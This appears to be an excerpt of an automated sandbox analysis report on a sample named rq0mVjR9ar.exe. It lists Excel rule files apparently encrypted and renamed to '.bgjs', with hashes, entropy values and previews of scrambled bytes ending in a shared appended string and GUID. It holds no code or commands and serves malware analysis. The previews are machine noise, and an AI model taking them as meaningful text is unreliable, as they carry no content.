C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.655398627595944
Encrypted:	false
SSDEEP:	12:bcwX3KJLI95+5U9/YaOiseG0+EZfw8B0YB43JpClnwK5nDrw/QDkY29lixpZaciD:AwX3wS5+5U9/3Or6ZfN74ZpWwK5PKC2B
MD5:	E157A22E90282D3AE05E4ECDCC5555B7
SHA1:	A103EBEA93B1BE0F5D0D702749528A4E3B7D45DA
SHA-256:	754EC04DA13C949EAC86A1B3D1F85FDEF140AAD8F47A70A19A827A2049FCA229
SHA-512:	F26C7AA89AEFD0942F131C239712CF833F4BF84D1FD1FFA9C033548ED4344AF330372361FC9AC5079D1407AC0C3E1C49FC0242E1E204AEF08CDAA6FF6A8C6C4B
Malicious:	false
Preview:	<?xmlR)......5ga(.......o...J.......uV2.o6N....G.V.-......EG<}Z\|....U.6.....-.].........++...Hc.MV.5.m.>.}$.g8L..UI.G..../d.Y.j...i<.\Bd{j`.C`%O.......X.H..SE.cK.r....;#ZP...m...+..[Z..PH..........P?h.4]..T.2..4<..DU/. '^5E...swt..K~.B.9.W.1......bN...,..NIe...V....^EU.EK.\.T.m....RJSX2...{7...<.iK.-./...H..Jnl...X....c....-...I:I.....X.tb..h.!..<.o.....[_.&.LQBJ#.....2..OD.o..v%i..P.h....V"@........sE..w.....e.E'.DAc....G.0.y.V........pZ....P.0$..e\..4G..uV.u...CC.....d..-.F...kJW4;.].CVoM%...${.w...u......E.)..:.g..T.P..D....y3..f...... .....K...?..AZ.,....E.Sa.'..n).l..n.K.P=...X...P.(.9.m.^SO...6.....(...Z........r.4......]......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.701336181649344
Encrypted:	false
SSDEEP:	24:Y4u5fFZnsitvfcFH9d2wfUcgSbI05/ewSGiTkbD:Y4c5hcN9vfUcJvxmiD
MD5:	1EF0B22C5FB3A6CC7FAB1C78E90AB7F4
SHA1:	3C74D9DDC18A6108F4BA340220139C58E6C8100D
SHA-256:	A313D2E97834B83C579564DAB3FA63A484C172823E78C2E814E09370B449683D
SHA-512:	92F1A970D95EF8B26980BE0FB12E7979D032A45828C16077EBE8AE1D9C05D5B24B92AC470F9B36A1A70D17C99C277E52577D38BEA0687385871E98279663C029
Malicious:	false
Preview:	<?xml0.L...b.~.L..o.#......rP...x^.m.o.K.o....)i..{.=.&c..Iu...+...[......#"..?wn...<`.......'.Oo..y..V....EP..*.JX....H.-....%.....L.g.^.?.zh...D.....sW.$..d.....v'.x .~n38c..[.m.t3..+.'!q.r..M.....A.......M.j.~..x.R..V...Ns.;..3I.R...r.P.iU.._I...=.\|...t.3....GY...5^!2..u.........5..3.w..~@...dt=.N.0..2\|...[..X...)'ay.GN.+!..-{......y......l!m.P..F).....V...u..m.[..'h.....tq+C.&..;..../]gM;.7k..4..#...~.v....<p......E(.QV.y.eb...U..bAk.I.%.0....@..^C..~......Q.f...R6.B,.t..I..jCl._f..9w."6.R.3.A.!.].dp].M....2..:@E\.X-G.~.X.......2...Y'lig~ 8?....U..o.F....Y.9.;I.T;o16..54D"u..R.Q..n..1..........s.Vyu...L.\....as.7.k.]..\|.\|....M..p.8.M;..n....#......z%4,].F....v._.L...5_........O<.{.,'W...h.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.704956200548403
Encrypted:	false
SSDEEP:	12:0yMjneFM8JWY72++K1fsRxiD15S6Ws1Lzl8iv3haMYFBEBY2i3ZRnmE9Jy2ixpZE:bMqFdWY7/fGxixMcRzSkaM4BwY2i3s21
MD5:	2FB0BFE920889F0F992B8D5B187BBCC7
SHA1:	E7F0969E6FF915CAE9EBD1C8AA1E16DC1F3AEF16
SHA-256:	B59147A5DE859F3BDB9F0B5D56CE36365A7A8C090C3B67AEE1054281D4BAC5C3
SHA-512:	9C0F8A764957BD28814706613D1DFF5F50999C7250C39532482666D852F4B99DEE9A900E97348AD166864E5A679CABFB1BB8C6B68F25988D9C82B86D8BD458EF
Malicious:	false
Preview:	<?xmlI.J2..........+....C[....[.......#._....(..dNY).).h.....s....`Q;..c.~,.U.n..KP!..,t..#t.WWT. .....I......!.+....U..;..>...&..oa:..Q..G.kJ.D........]..2..E.........0.P.....@S...w.jbU....6...E<b....&....S)..9Q....Z,.d...[..=.g...6..6v$.....t..i.....UR.......8m...d.Z.8.~U.mBo..5.^1.D.......Y.C....DJ.7..VM.?M.........j...n.F.K.ZN...]....1tE.Jt.>..f..g..8.f..b.H}?..2.Y.....S....#Qr.....W...r.bE.HW....k..iv....-....../u..]....f#L.EL..X..(e....M.....D0%....d.:s.f...'n /fm9.`B.....\|HbJw........b....T.=.V.k..8...x....I\R....2<.s..ix..$`..'..==z...N.. ..(>Z_R).[....>@..Z3D.).l...I.......h.j..I-C..iYu..l$7.#j.NW..9 ULk.0..Z.)>.`.U.9}...'@r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.745756229884099
Encrypted:	false
SSDEEP:	24:pMS48XiIFo+8ROv+kexrjEiweaCIjxiiTkbD:psuiIm+8ROQO18GxXiD
MD5:	D11F72FE1F4152537970BD554CB489B4
SHA1:	A8CB0A6C1BD7C73700CD4FB666200EE7AD5146A6
SHA-256:	4DD2B90C6E85D619B802E13BDE1E8FB5D5AA4BC77B192361336114CACF680DDE
SHA-512:	A1AB240D6277ECC480718449BB30F75C5A80A0607F31549F57663040BC6566EE46F92CE218A3B8A342D0AE17E1DAF7B1E18C235E4FC523A1047F1065DD98B3FC
Malicious:	false
Preview:	<?xml..T@".Y....r ..%..(w#;..#....^.7...-.TGS..,.V.!......o.7A....-.....".L.v[.=.C%.:.Q..."..4....(.....\;.s+.K....4R.M.../..d.H.<.D"].....s@C.3.+.../.M.@.An..>....O.....1...O>...!;V..$..w.K.G...T....0.$-..((.a..k...'..[.-(..$..\1e.. .oh.q...O7.XX.E.y...../.H........oK...8..=..8..B...&m.;......x.k...$...y.{....,..G....`)..f..C.y...`)......_..G.'..'S.d.9.....S..29._.\|l.....X......q...!...V.A...K...."..,.....#../....^.'.B..3.\|>...)$...H:.E.+..j..Q...'%c{.Lc.]S`.().........I....N.....9....b.a."Ao...q............c.L..v.oW}.s.......Ddy.Q._cB\{..'".<..\.`../+.z.....A.....?....i..\|......8...x.@1...;D.6.rP."t.;...7...h.v......K&..~g.+.Gw6'.Y....M.~....^..].....QO..._.......(...l.....;.v:.gJ.Er6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.682093603767117
Encrypted:	false
SSDEEP:	12:oaLkd7nLPd8e0iFh/vb/FtDWlw9XYUdTEFAlqhiTl7p/CKPZcCYGBm0gOixpZacq:9Yd7LPdxHtuw93TagTlLC/GBmfOiTkbD
MD5:	868DBA2592E3B2FAD46644C1F6788F6C
SHA1:	7E8C60CF78B8C71CFF5CF4DCB56C994174BC3AAE
SHA-256:	17AFB59537564FACCB630A2F5CFD422D6EA004A8EB82CD6C0E6E821FDAAD67DC
SHA-512:	5663A25A9F0C63E0B075C60978B44A7B669496C1BE7FF1E0C8E01E0C11D003E02FBF8DDB8BF5F7330498673DF39ABA75048096705ACDEA19D372B6A488284E2D
Malicious:	false
Preview:	<?xml.g.Q...<!..?L$.Ms'...mu.....X.p...1.Rw>`.=g ...fA@...&T.....h..i.O.L...........+J5.......(Bh.fa.Hw...p.h.'.....Cp.+?.V....V6.T{...bN...e..R\|f.m...r<.KKA.y..D.a..4.0m....1..s+`H.B....b.....\|...9[.a.y..\..u.Y..Cqy.......e....K...-.i..[,./R....{....F.....`.+.M}.z...dIj...LvJP..K..#..:=.Q.T.....]..9.%...7....i,<C..9..s:.^-..(P.w"....=.Z.n.ENK.T2b.Z!.+q=t..H...6n]vl./.Q.....%e...L...Dv.$8F..ZS.P................5_..7.gh.Tq.v..K..E.kE..,..B.x..(xk%..(......e./...H....../2..k..F'K"5..v..\.=.LUg...P.k........D..Ra.UZ...Y...q/GD...?.#..h.J.\|o......@.1YE.GF0`..]R.j.e:%.u~..kg..iB.:.3...z...]n-r...+Yo...../.?.2=-.........r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718898661969829
Encrypted:	false
SSDEEP:	24:YyuuG0usmVx1hdiMivUrcpoJ0O2c2zvjBiTkbD:+0usU/rkoN2cAv8iD
MD5:	02AC70F74A9434DB04AB37CE661B865D
SHA1:	791E0D190187432F07A2202D2921BA75EAA8B2B8
SHA-256:	4A631A497EE0B62BC4948EEC21F9DB94B03E1B0BF1159ADEB2DC02B1C7995BD9
SHA-512:	ED85F2BEC1E35B6CCB4957913C66A31D59124F5E5116AD2A83DE95FADDF16F51778426C0E27758E12F2522398C02F7FA336CD38510152B8F4F6E831CF938BA04
Malicious:	false
Preview:	<?xml%....L....h.G....R..S..VDe.......=.<.gP...:Y.R..HK..P.Gp...\|Rj....:.%.uN.A.o...e.....p.s........{.:..1Ga..S...d~VG.Yn....Rd>.......i#.w..'.0.I.;...MQ...\..].......;bZ..,.Z..q9^..?.6...m..B[1b...T..4..GM~.0.6}A...!a.8r..H....%.4.R..d....]..h.=......C..I..{..q..o...=8.......r.vJ.....Z..H.x#s....c.E....3m.s....n6.R....^..SF.{9.......PNn@..{......W....h`]...r.J.U7c$....a%.h@A...y8.`..E...{`...d.."..=.xB<7...{r........>.S+tU..J...y...t....l...rZ.,.....^=.Y/.l<..a.o..K..C...K..l/.r..V.......4.g.l..H....L..y@.....C..[O.H..h....;i...%.A....Q8..\..A.bk.qx.P.o/[.@.f]..S.F......9S.G..z.i.~RG.I......Em0.n`.....S^..%.{7...F\|..F..Fh6..Z...t..W...n}.. .P......G.. 5.........k9vE2r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.670501699346698
Encrypted:	false
SSDEEP:	12:yCvpLIcU9sKzZXQaKBZzuYfJVzB3TKBTDFkYJp4yFjxcOZPedLny+LAVixpZaciD:yqLWXf+5BJVdmOORFxc0etneiTkbD
MD5:	C204FB29F298F099390A8C70A4F67333
SHA1:	D4CD410AE3794510E6BB3FBEC2D4F1C1E2934B4E
SHA-256:	692B4A42E10BF9B8B788B9C7181056C8DE7FA8AB99D92D15AAC4427ADE836E14
SHA-512:	C9821E8A88D1A3582D40F903EA68AD02AAE2880C92248AE8F007AC7AE6948E29919ED6963524D372AEAFA71492FEC732047E343826AF707AD6EC67936896BC2C
Malicious:	false
Preview:	<?xml@.g.._..R.<......-HC..P..do..........2...X ..........\|.."!.!tA....9a5Q./.X...BI.=.j.....4.Q.....G...+.,I..._...&h...'5.m..V...?...Y..e...:b....}..o.lRS<.A...h.z..Y....."..y..Q....6..LLX.......$.fm..3.......%..-.Nw..3fb.s...."#f......zx...6..4..[."....m..4...K.\. .pS...q...c.PF...Z{.2..`.&h.3...2......L`..A...........N..").933.'{..C.nz...."[..>...._..qs...!..z..MY.v.10.8&.^N.A. JK..?..j!........C...K....:l!. ..........0=...K).f...q....Y$0..E....RT...&Y..deZ.S......H..X.xI...f<./.....4..<{....z).J........+../.C.$:E.p.....l.)%uiZ..O..:.)g.../.V..@m.....v....eC.8.;...$...U..Y.[NR..Al5.Mv.,q.--..=.r)@7..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.709171628240107
Encrypted:	false
SSDEEP:	24:k2EiI2h85q7+vUW3PhEzxnfZmf1hVSMw9FiTkbD:mi8qCvUqPmzxnkf1hV1iD
MD5:	F61949E9D40BBBDD7512C13035091CA0
SHA1:	7D7746766BCA7746D40BA1FBA936334E682B8ED5
SHA-256:	B488FAEC757E31B5A0510E8CF4DF5BA1678E5CF02B859A006F9BC03E2BA095B4
SHA-512:	D77FCED0FD9E108DCD5E407D6AC1E13D4D74333A28CAB3FAE05BA08186CE6C96A0BFD6EBEF94F95553D8CBC55C03DF457A1765D59144EDA2EFF7BF4567B1917B
Malicious:	false
Preview:	<?xml.Y.U9...#j.%.......n<......R....\|...Y{.!.....A.Wh5...j.8......K&.0."..0.s.6.v{.G..o.=....V........S...Q.4]..ugP..AV+oi]S..T.....r...yQ...+B.$M..A., .(...N... .W.+.>}Y1.....!....4.?......f[..+....5.......T...c3O.....X...[N.\OD......XGX..h.Pe.b...e..d.......k....!....2.g<...~.j.=..c....5...w...i.ic...Ze..qq.`.f..hL..g.Pid....O}...kM....7..{..!.....N.A.N...kB.......a.. ....a.4.......).....z..L\.Jg..T.......m..Zb.J..Ex.......2....J...{)TRN.^.....nuic..J...Ap....N..#d;.j..6s....<........g........g%J_.........#..v.&dO..0*U..^..P.=.....KU....x..rx.jUy%...}Z..s..l...7.1NoG`.X.(k}S.[6V.........5...&.r..3..<....S.......x..+...:...m.4..N.L..eX..$../.H1.....1D..m.3....X.>D.9...L..f..b....iT....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.685856917694726
Encrypted:	false
SSDEEP:	12:xX2G4zenn5usIvgnjafoLS3qL1dq52DorlSmVpFMja5Kpb3MdHO2lP/LoBuCixpW:xCenANvMSo+3qL18eoZSAKqKpr+uIH85
MD5:	E7006DA9EB024A6D62EF656A3B99805C
SHA1:	3CFC5E3787C51C77D518D16013C5236D44690415
SHA-256:	C6C8DD6552DF8A88D50A7322DF01B2A07F4B6ADE1262BE1A4CA6C471CB0331FB
SHA-512:	EFB7067168492579E3654B4F9AB6BD26AFBD3B34C9C0B46C2718F2834B00E79BD9761C6976783A7DD132F235097E5FB79169DEB14024ECA4D767DD5ED7AB6191
Malicious:	false
Preview:	<?xml+T.4...D.zWt.@.YuyL..q[.S...D4m./.~.E....8...K..&Y.g...k.k... ...;7.6....0"=i.......H:.=.G..H....l....q'.4.g.)d....X.x.?.&.29.Wd.....~..[.....8.......u...U.Ty...D..bZ..5N.....)..u4."...,Y1;`.....B.bRI<.'S.hw..q......d]..tUB...$u7ju.I......=.......@.at=...N.x.\m...Gz...N.../xwz,..F...u.mR....F.......j...B.eQ..C.Z:)...e....g.D.n..36..f.,.?.I.C].0.......b..E..E...0rQ...7...y1.U..g+a..tp"v7.R...A\.H..T8.5...&..... w.+XfGij.G..f.%F2e+6.`..../...1..+\|.....aZ.!...uJ..-.Z4.vy....\|L....k......5...-..n8..eu...<.B..5..Ih.q...f..,Z...-.EiN....U...G.Y.-.. f.dN..A[Q..}w..%.....C.{...%....Q.i[n.#.../4.a..avnH.M.D..m....f0.O-.L..x7......k.......#......_.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.708111018222172
Encrypted:	false
SSDEEP:	24:KjC6djyluK1A3cZV089BiefS6LlI5iTkbD:Kj1djCuKe3csX7UZiD
MD5:	B6CEB726D7A69F7D57EBE4FB50CF1D26
SHA1:	F51210CE7EF709466D5BCA8B29E2DA9B464C715E
SHA-256:	9589573CE97157FBE784F2690FF6625A9914877EB828096A7A0BF64AADF06D65
SHA-512:	66D7D4D781D1558FC3C1A45B79CC151620FDA7672A59C98579BB635B1CCC7CF1D0A6C7B78417EF62934DF39D1CA208E6C4076FB98C7249E16AB596C29197D2FD
Malicious:	false
Preview:	<?xmlq8.).\|4..B:...B.bVYEf.3_.y.......(..`g[.b..l...7-.4g....;....Z..&-.R`5z.Z.Y...7. ^.7.f..F.K.....k]...1...N.<..).... x..)~..B.[...&.........".%.(...kS..C>...%.+.e._T.F....r=.W..K/......b....n/.. "h..N...5...N.b...#g..`..z.....Z}......V.L{.E.q.~....-+.....'.i..Xu.......&Fr8.XZ....7D.../......E .../B.0...`Q./..Op]ha>...k.f..08>...L.....Ma........r..2....d...u.&eE8.n.....,\|w{;FM .B..P..@?..h.u.f...!..mE..V.....eH.*..Ep.... K.....Kc..z......m.....A....y.D.......hF...+'.q.......(.....=z\..o..^b...d.K.WT...A=C(.K+FGMufiT1..ca.P.[.~uR.s....A...."....ws...)w..g. ...,laK..@4.dn...../.....^..L.7"....E.1....{.9Qh.Y.. i..?...(o.....FYp..;P.t..&:.1..................Up.K".%..qe]P\....f.......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.725683676170458
Encrypted:	false
SSDEEP:	24:k2LU+3NzkMNHlvjY0kmhHOfRzAZdmr7bFal3YOiTkbD:k2I+lkcl1A0Tub2YriD
MD5:	BF497DFFCC708B634165B1150F0A85AC
SHA1:	44122A1C54DA7C209CEE408868B504146E26737E
SHA-256:	9D0D8063074BF7D114BCDC7FA2BF3824F9FB3227742AD4C2B0C289A6ACEE5C4B
SHA-512:	6C18F1DB8AA367DE057681733003B1C470535B4D708CF203FA3F76C71A76DA6D2CDC62BAB168064CF68B6A3F5FCE3448D4C19488B3CD591A862070921489DCED
Malicious:	false
Preview:	<?xml..H.UT......\|=.',2D..x....j.?K...R{..zq......K...q...Sk.@.X...+..@U$$..4.z........}.g..CO.\..L...l.RS..C5.<.8..[..\...M.^..p,hU..B.i...5@..q6.r..')f.Y.."bH....l..U/......#...O..N.........,Oqj../+c..'..3.,....+.==/.......u...'...Xv(.......$.P.....>.....O..p.....l..u.{_.A_.'r.v..d0d/..~.n.........+q`..i.b....)..N.s..iV._..q..1L.u.....5..2ERr..,...i..J.6..t%.rK!.%5p...%y../w.2.@../.\|?...}...$....(.N......?..A...e...'c ...5.A....V.Vs..4Q.n.h....(>...+........N..H....f..{S_hF$YC..z..@B...].....T.o.."..~@k..>M.....Y.c..Q1....<.....\|..s....b..3.B..+.....U.Vje..&..<7.0x..Br...9.......J%.h/...k..#..o...e.G....{...7...6.K"....D..o...N3M..*...8g)1....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.734027904550054
Encrypted:	false
SSDEEP:	24:/JW1to2XQWBZrOGACKdtGJrLmaGEtvcVA1iTkbD:/g1tXhKGsGJrLxPpE7iD
MD5:	9835E8B556297531C500698D0D55E18A
SHA1:	95C402D7ED4771811219B143EDC1E4E64A9EE096
SHA-256:	5763EFD93FDEEA2330F412C5F22F05404EF7509BB8B97D47F9134C2F87BF9F93
SHA-512:	B36E7AE1454CF6E201E2C35D887DAE4899F629E2AB7C71CDC96E5249FD48DAB56A313B7A4D894880408C9F47F9C3010A979CBE384C5B459625D675F364A3A196
Malicious:	false
Preview:	<?xmlq.N\|x-.b.=._..s.7=...S.j.Ef`....n.b.E...u..X...cp..s...$.R..pgc........@..y...X./...p....`.T..?.)f:..e....n.V.h`.g......SH.{,....>\|m..2.bG...Z.-r$$2@.....].....T......./....q...)....X..o.?..../.x........(......`!.V;...`.waK........V.B.r=.B.b......"=.l.....q9...P.t.BU....._...x.9.b..dP.Sc.pr..)..w.P.....1..<.c&.ne....?o.7}.5..L.M\|M.b1..~x.\./..n..g..2M?..._.....FiWa%....("'Y.......0kx<8.~.(?%W...Kn.]....3.....o....]......4"....N~k.....O..y.........K.....Q./...^....M/..^.j......W..y...ED......q..A.O.v...koxS.tf.a...\[C...>.k./.$.l..^..c...4E....C..%.u......Y..$..N...t.Jc.~%3..R?.o...k*RVJKF..~p&....:\.....#.-W........=yw.!... E..zT.t3....,.....'[.Mc..4...}.u.Fn.O..4.H?.........'8X.5.#oel}.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.739593266492763
Encrypted:	false
SSDEEP:	12:2DvC60Nt6cHTYIMCSaZetiVGpz71vsIU18i+GEJ7f4Reemk+BPjEJO5HNZVVixpW:2DC6qthMNt7zxHUOiwJ74Memk+BPjJXt
MD5:	2FE34E85BFC015D07B217AE1C52EA803
SHA1:	6511C762671FC2426AC88CF9D912A830A8601D0B
SHA-256:	ED6E8627215607EBFA655A4027CA38AC5C5E5CF64B6BC02EB0B1CB73287C4698
SHA-512:	4B0F7986F1EE1768920CCAA926B443E2ED2C170AED2402FF2318A94C387CE443E49E83A06A21B2F421E61E8B33320A7D7BFDB8FEC841733990BD7CD1C0910F43
Malicious:	false
Preview:	<?xmlD...............P?S...P.?...9...J.........$.........H.dS...\|.....)..7........#.pt.Hp\|...........e...S..E......T....wxJU....1].e.A..iq4.H^..a}...I.z ..K....2.....AZ.....d.s@Z.R.!.}...y$.KVg...`......FDV..;.zg-wy.:.._~\MT...7. ...),[..@.3fl..4.=.....y...WM..0........p...O5?2.c.f...........+./......O..]]....k..4.>.........I.....v..f.^.0.Tu.#K'(.f.d..csp,.z.'............qZ4..`.......t..%"c.~sN.)8._#..{..d....a.A1..M1.......W.=n..e......W..).V....)\|......NY..j.......:`3oO;@......qW.........HH.E..... i..W...d..P.*.x..Q..b..g.3....O?.nT... j..'C.Kr....B6....&.5A.....`....b?..Z;KZU...m...]...z...nm....1.......akHH.}..n....o....(.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.7384239430763015
Encrypted:	false
SSDEEP:	24:kg2qUvIed7F1gPjiTe3pujeHPMqKS5MLGeiTkbD:kJvIcIji4pujevMqloGbiD
MD5:	38504CBDB1BFB726BEC6AC92E70A55C9
SHA1:	7F3C7CCBCD1EE2FC4F7A1B4A38349FB14C7C875D
SHA-256:	4C06758E026E7D12115F9967B61C4DC3D955418B5C78C96D24481EEB47F959EF
SHA-512:	8FFC70AE500214ECB9C7ED21A078938974E63EED157B86440DC202959D4188C20B9F59DCCC67B79F84DD72379914719B95FFC4491E6E230EEE0A4CF5D465ED3F
Malicious:	false
Preview:	<?xml.z...G.c.p.. .I.@.(..Mf.t...i..u.......g,........H/..Ie.q'3.1NE..J.RL.x..vEZ..[...;\..-...g.....1..^....H......`.s7vT_3...........^\|..x#c2.&..x....dt..iE........6..C[..\|......f.}...O..ai.k....j..$...3e.u.B...G.K..=.S....a+.3....;.......\......S...!.f......$.l .i.G.&...t......@...c%.,>..>.r.F5". .m..~'o.Z5P..<+.(..U......X.6.&..-..!.,...D......y.P.....].....P...........tk{....[..N.....#...5w.{.}.g,.M#EM.@.@.Y....1N.hqE^.X>`.E.x..i.=o3W....n.1!...f>.>.f.E._E..7m...m.v.W#..D@.@g.._p...A...1M..]....i...[....I..1Y.vq.+..:m..M.dY.....o}.JG.......d...pSn.p...nsF..E<.b...........94.........Eul...+.2Yw.Qbj<j.....@{...CB....-2SM..$6.q*..1....2d.@...r.^....Ix..fKRR$...Xd...{......L.!r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.692572038823885
Encrypted:	false
SSDEEP:	12:3FSvQ/zYBIz5CS3hCtBGjjbLz1+z8MCfFR0cz6dvVznSH1EqueI++/ixpZacii9a:VR/zYB83gBsjbLzEGFNedv9m1e59/iTW
MD5:	129F29777FB750EAEEF33EF46BB99369
SHA1:	5BAAA15D517338BC0890732727C58F686CC249D7
SHA-256:	4934DAE5DAABA7BB061ECF0A0FCD763397CAB4CF4DEEAA626B4B7CB71D63A839
SHA-512:	2E23C9D3F459C09323C0C88C2DE9375D703713AAA315CEE05C1AB939F6F5CAC775DFE34FC7E5502AC7948DFF057A6E2711685A0B9EF6D6AE73B29D23F9554E68
Malicious:	false
Preview:	<?xml...I....DQ..G.....J..p.-f.......L..e..,.........]?....'....!.P.W........T....{...Ja...n.Tf.P...?0........p..F..T...T9...1.T..81.z2.o.m.;.=....N .cQ..-....Bqe.\|..w..M...9s..O2.O%d.g.d{fbSZ>.f..[.......d.f..Ko.Md...9..EN.....).Q.^...G..\|.....[.Y....^N....\.7..84r..j..?.Y..\`o.:9../.xR-1...Bt.\.J.......L.G9.?kZ.r"...V........S#...3.@......q ....R.^..yR.RK..M..J......x~.+.....L..!.N.A..d...`n{.T..E... WW5.....5.....m3..Z}Wz.(D..b...c.....Y#A...PVo9...U..q..<..o.\.:k.RWe^qQ..\t...9v...l.&H/...0..,..%.`p.}B...q.!./.:N..+..*..G......0.iP_.._U..s...p.H.H.r...;...!.Q..~....dGt.0..xr..D....m..Ie...o....-..".FK.=3.{...).7.d.{....FXr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.70698672262884
Encrypted:	false
SSDEEP:	12:a549KdhlXPmrXU56t+Edl10dSYBo8aBWx6tc98K2QzzxJiiaycBefRixpZacii9a:aKY+xRyNBItcuvQ2ioBERiTkbD
MD5:	42507BFAA8305B3EBB2946AE328D3FD7
SHA1:	42620B26D206B3E362D504F6FEDB8DFA90EE5AE5
SHA-256:	F41592471E6E9C1F56E37F816CC3B34406E892663818AF5C502A87BC54F55FB7
SHA-512:	F70AB8647DA0B511CD67500853F8F956D0AFE59FBF890626B89DB825C341255B3A581107DE6ED489536EE0D191A63D0D3FA038B132D3E4F209B179E4510ACA54
Malicious:	false
